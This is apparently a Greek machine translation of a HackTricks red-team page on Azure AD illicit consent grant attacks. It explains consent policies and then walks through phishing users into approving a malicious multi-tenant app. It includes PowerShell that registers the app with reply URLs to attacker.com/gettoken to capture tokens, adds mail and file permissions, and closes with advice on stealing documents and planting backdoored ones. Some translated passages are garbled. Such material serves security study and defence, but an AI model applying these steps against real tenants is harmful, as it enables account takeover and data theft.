Az - Illicit Consent Grant

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Αλισβερική Χορήγηση Συγκατάθεσης OAuth App

Οι Εφαρμογές Azure ζητούν άδειες για πρόσβαση στα δεδομένα χρήστη (βασικές πληροφορίες, αλλά και πρόσβαση σε έγγραφα, αποστολή email...). Αν επιτραπεί, ένας κανονικός χρήστης μπορεί να χορηγήσει συγκατάθεση μόνο για "Χαμηλή Επίδραση" άδειες. Σε όλες τις άλλες περιπτώσεις, απαιτείται συγκατάθεση διαχειριστή. Οι ρόλοι GA, ApplicationAdministrator, CloudApplication Administrator και ένας προσαρμοσμένος ρόλος που περιλαμβάνει άδεια για τη χορήγηση άδειας σε εφαρμογές μπορούν να παρέχουν την άδεια σε επίπεδο ενοικιαστή.

Μόνο οι άδειες που δεν απαιτούν συγκατάθεση διαχειριστή κατηγοριοποιούνται ως χαμηλής επίδρασης. Αυτές είναι οι άδειες που απαιτούνται για τη βασική σύνδεση είναι openid, profile, email, User.Read και offline_access. Αν μια οργάνωση επιτρέπει τη συγκατάθεση του χρήστη για όλες τις εφαρμογές, ένας υπάλληλος μπορεί να χορηγήσει συγκατάθεση σε μια εφαρμογή για την ανάγνωση των παραπάνω από το προφίλ τους.

Έτσι, ένας επιτιθέμενος θα μπορούσε να ετοιμάσει μια κακόβουλη εφαρμογή και με ένα phishing, να κάνει τον χρήστη αποδεχτεί την εφαρμογή και να κλέψει τα δεδομένα του.

2 Τύποι Επιθέσεων Παράνομης Χορήγησης Συγκατάθεσης

  • Μη Επαληθευμένος: Από ένα εξωτερικό λογαριασμό δημιουργήστε μια εφαρμογή με τις άδειες User.Read και User.ReadBasic.All για παράδειγμα, κάντε phishing σε ένα χρήστη, και θα μπορείτε να έχετε πρόσβαση σε πληροφορίες καταλόγου.

  • Αυτό απαιτεί τον φισαρισμένο χρήστη να μπορεί να αποδεχτεί εφαρμογές OAuth από εξωτερικά περιβάλλοντα!

  • Επαληθευμένος: Έχοντας διαρρήξει έναν αρχέγονο με αρκετές προνομιούχες, δημιουργήστε μια εφαρμογή μέσα στον λογαριασμό και φισάρετε κάποιο προνομιούχο χρήστη που μπορεί να αποδεχτεί προνομιούχες άδειες OAuth.

  • Σε αυτήν την περίπτωση μπορείτε ήδη να έχετε πρόσβαση στις πληροφορίες του καταλόγου, οπότε η άδεια User.ReadBasic.All δεν είναι πλέον ενδιαφέρουσα.

  • Είστε πιθανόν ενδιαφερόμενοι για τις άδειες που απαιτούν από διαχειριστή να τις χορηγήσει, επειδή ο ροές χρήστης δεν μπορεί να δώσει σε εφαρμογές OAuth καμία άδεια, γι' αυτό χρειάζεται να φισάρετε μόνο αυτούς τους χρήστες (περισσότερα για ποιους ρόλους/άδειες χορηγούν αυτό το προνόμιο αργότερα)

Έλεγχος αν οι χρήστες επιτρέπουν τη συγκατάθεση

Η παρακάτω εντολή PowerShell χρησιμοποιείται για να ελέγξει τη διαμόρφωση της συγκατάθεσης για τους χρήστες στο Azure Active Directory (Azure AD) όσον αφορά τη δυνατότητά τους να χορηγήσουν συγκατάθεση σε εφαρμογές:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Απενεργοποίηση συγκατάθεσης χρήστη: Αυτή η ρύθμιση απαγορεύει στους χρήστες να χορηγούν άδειες σε εφαρμογές. Δεν επιτρέπεται η συγκατάθεση των χρηστών σε εφαρμογές.

  • Οι χρήστες μπορούν να χορηγήσουν άδειες σε εφαρμογές από επαληθευμένους εκδότες ή τον οργανισμό σας, αλλά μόνο για τις άδειες που επιλέγετε: Αυτή η ρύθμιση επιτρέπει σε όλους τους χρήστες να χορηγούν άδειες μόνο σε εφαρμογές που έχουν δημοσιευτεί από έναν επαληθευμένο εκδότη και εφαρμογές που έχουν εγγραφεί στον δικό σας ενοικιαστή. Προσθέτει ένα επίπεδο ελέγχου επιτρέποντας τη συγκατάθεση μόνο για συγκεκριμένες άδειες.

  • Οι χρήστες μπορούν να χορηγήσουν άδειες σε όλες τις εφαρμογές: Αυτή η ρύθμιση είναι πιο επιεικής και επιτρέπει σε όλους τους χρήστες να χορηγούν άδειες για οποιεσδήποτε άδειες σε εφαρμογές, όσον αφορά αυτές οι άδειες δεν απαιτούν διοικητική συγκατάθεση.

  • Προσαρμοσμένη πολιτική συγκατάθεσης εφαρμογής: Αυτή η ρύθμιση υποδηλώνει ότι υπάρχει μια προσαρμοσμένη πολιτική που μπορεί να προσαρμοστεί στις συγκεκριμένες οργανωτικές απαιτήσεις και μπορεί να περιλαμβάνει μια συνδυασμένη περιοριστική πολιτική βασισμένη στον εκδότη της εφαρμογής, τις άδειες που ζητά η εφαρμογή και άλλους παράγοντες.

Κατανόηση Επίθεσης Παράνομης Χορήγησης Συγκατάθεσης

Σε μια επίθεση παράνομης χορήγησης συγκατάθεσης, οι επιτιθέμενοι εξαπατούν τους τελικούς χρήστες να χορηγήσουν άδειες σε μια κακόβουλη εφαρμογή που έχει καταχωρηθεί με το Azure. Αυτό επιτυγχάνεται κάνοντας την εφαρμογή να φαίνεται νόμιμη, οδηγώντας τα θύματα να κάνουν κλικ ανυποψίαστα σε ένα κουμπί "Αποδοχή". Ως αποτέλεσμα, το Azure AD εκδίδει ένα τεκμήριο στον ιστότοπο του επιτιθέμενου, επιτρέποντάς του να έχει πρόσβαση και να χειρίζεται τα δεδομένα του θύματος, όπως την ανάγνωση ή αποστολή email και την πρόσβαση σε αρχεία, χωρίς την ανάγκη ενός οργανισμικού λογαριασμού.

Επισκόπηση Ροής Επίθεσης

Η επίθεση περιλαμβάνει αρκετά βήματα που στοχεύουν σε μια γενική εταιρεία. Εδώ είναι πώς θα μπορούσε να εξελιχθεί:

  1. Καταχώριση Domain και Φιλοξενία Εφαρμογής: Ο επιτιθέμενος καταχωρεί ένα domain που μοιάζει με ένα αξιόπιστο site, για παράδειγμα, "safedomainlogin.com". Κάτω από αυτό το domain, δημιουργείται ένα subdomain (π.χ., "companyname.safedomainlogin.com") για να φιλοξενήσει μια εφαρμογή σχεδιασμένη να αιχμαλωτίζει κωδικούς εξουσιοδότησης και να ζητά πρόσβαση σε τεκμήρια.

  2. Καταχώριση Εφαρμογής στο Azure AD: Ο επιτιθέμενος καταχωρεί στον Azure AD Tenant του μια Εφαρμογή Πολλαπλών Ενοικιαστών, την ονομάζει με το όνομα της εταιρείας-στόχου για να φαίνεται νόμιμη. Διαμορφώνει το Redirect URL της εφαρμογής για να δείχνει στο subdomain που φιλοξενεί την κακόβουλη εφαρμογή.

  3. Ρύθμιση Άδειών: Ο επιτιθέμενος ρυθμίζει την εφαρμογή με διάφορες άδειες API (π.χ., Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Αυτές οι άδειες, μόλις χορηγηθούν από τον χρήστη, επιτρέπουν στον επιτιθέμενο να εξάγει ευαίσθητες πληροφορίες εκ μέρους του χρήστη.

  4. Διανομή Κακόβουλων Συνδέσμων: Ο επιτιθέμενος δημιουργεί έναν σύνδεσμο που περιέχει τον αριθμό πελάτη της κακόβουλης εφαρμογής και τον μοιράζεται με στοχευμένους χρήστες, εξαπατώντας τους να χορηγήσουν συγκατάθεση.

Χρήση Εργαλείων για την Επίθεση

Η επίθεση μπορεί να διευκολυνθεί χρησιμοποιώντας εργαλεία όπως το 365-Stealer.

Προετοιμασία Πριν την Επίθεση:

Αν ο επιτιθέμενος έχει κάποιο επίπεδο πρόσβασης σε έναν χρήστη στον οργανισμό-θύμα, μπορεί να ελέγξει αν η πολιτική του οργανισμού επιτρέπει στον χρήστη να αποδεχτεί εφαρμογές:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Για την εκτέλεση της επίθεσης, ο εισβολέας θα χρειαστεί να δημιουργήσει μια νέα εφαρμογή στο Azure Tenant τους (στις εγγραφές εφαρμογών), που θα πρέπει να ρυθμιστεί με τις άδειες:

Το User.ReadBasic.All βρίσκεται μέσα στο Microsoft Graph στις Delegated permissions. (Οι δικαιώματα εφαρμογής θα χρειαστούν πάντα επιπλέον έγκριση).

  • Το User.ReadBasic.All είναι η άδεια που θα σας επιτρέψει να διαβάσετε πληροφορίες όλων των χρηστών στον οργανισμό εάν χορηγηθεί.

  • Θυμηθείτε ότι μόνο οι ρόλοι GA, ApplicationAdministrator, CloudApplication Administrator και ένα προσαρμοσμένος ρόλος που περιλαμβάνει την άδεια για τη χορήγηση δικαιωμάτων σε εφαρμογές μπορούν να παρέχουν συγκατάθεση σε επίπεδο Tenant. Έτσι, θα πρέπει να ψαρέψετε έναν χρήστη με έναν από αυτούς τους ρόλους αν θέλετε να του ζητήσετε να εγκρίνει μια Εφαρμογή που απαιτεί διαχειριστική συγκατάθεση.

Μπορείτε επίσης να δημιουργήσετε μια Εφαρμογή μέσω της γραμμής εντολών με:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Ελέγξτε το https://www.alteredsecurity.com/post/introduction-to-365-stealer για να μάθετε πώς να το ρυθμίσετε.

Σημειώστε ότι το ληφθέν access token θα είναι για το graph endpoint με τα scopes: User.Read και User.ReadBasic.All (οι ζητούμενες άδειες). Δεν θα μπορείτε να εκτελέσετε άλλες ενέργειες (αλλά αυτές είναι αρκετές για να κατεβάσετε πληροφορίες για όλους τους χρήστες στον οργανισμό).

Μπορείτε επίσης να χρησιμοποιήσετε αυτό το εργαλείο για να πραγματοποιήσετε αυτήν την επίθεση.

Post-Exploitation

Μόλις αποκτήσετε πρόσβαση στον χρήστη, μπορείτε να κάνετε πράγματα όπως να κλέψετε ευαίσθητα έγγραφα και ακόμη και να ανεβάσετε έγγραφα με backdoor.

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated